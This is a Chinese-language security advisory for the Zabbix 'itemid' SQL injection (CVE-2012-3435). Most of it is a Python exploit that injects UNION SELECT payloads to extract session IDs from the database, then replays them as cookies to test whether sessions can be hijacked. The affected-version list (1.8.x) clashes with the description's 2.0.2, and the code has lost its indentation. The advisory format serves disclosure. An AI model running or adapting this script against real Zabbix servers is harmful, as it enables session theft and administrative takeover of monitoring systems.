ZABBIX 'itemid'参数SQL注入漏洞(CVE-2012-3435)
发布日期:2012-07-24
更新日期:2012-07-30
受影响系统:ZABBIX ZABBIX 1.8.9
ZABBIX ZABBIX 1.8.7
ZABBIX ZABBIX 1.8.6
ZABBIX ZABBIX 1.8.5
ZABBIX ZABBIX 1.8.4
描述:
BUGTRAQ ID:
54661
CVE ID:
CVE-2012-3435
ZABBIX是一个CS结构的分布式网络监控系统。
ZABBIX 2.0.2在实现上存在SQL注入漏洞,成功利用后可允许攻击者控制应用、访问或修改数据、利用下层数据库中的其他漏洞。
<*来源:Muts (
muts@whitehat.co.il)
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
ip="172.16.164.150"
target = 'http://%s/zabbix/popup_bitem.php' % ip
url = 'http://%s/zabbix/scripts.php' % ip
def sendSql(num):
global target
payload="1)) union select 1,group_concat(sessionid) from sessions where userid='%s'#" % num
payload="1 union select 1,1,1,1,1,group_concat(sessionid),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from sessions where userid='%s'#" % num
values = {'dstfrm':'1','itemid':payload }
url = "%s?%s" % (target, urllib.urlencode(values))
req = urllib2.Request(url)
response = urllib2.urlopen(req)
data = response.read()
return data
def normal(cookie):
global url
req = urllib2.Request(url)
cook = "zbx_sessionid=%s" %cookie
req.add_header('Cookie', cook)
response = urllib2.urlopen(req)
data = response.read()
if re.search('ERROR: Session terminated, re-login, please',data) or re.search('You are not logged in',data) or re.search('ERROR: No Permissions',data):
return "FAIL"
else:
return "SUCCESS"
sessions=[]
for m in range(1,2):
print "[*] Searching sessions belonging to id %s" % m
hola=sendSql(m)
for l in re.findall(r"([a-fA-F\d]{32})", hola):
if l not in sessions:
sessions.append(l)
print "[*] Found sessionid %s - %s" % (l,normal(l))
建议:
厂商补丁:
ZABBIX
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
www.zabbix.com/
浏览次数:2033
严重程度:0(网友投票)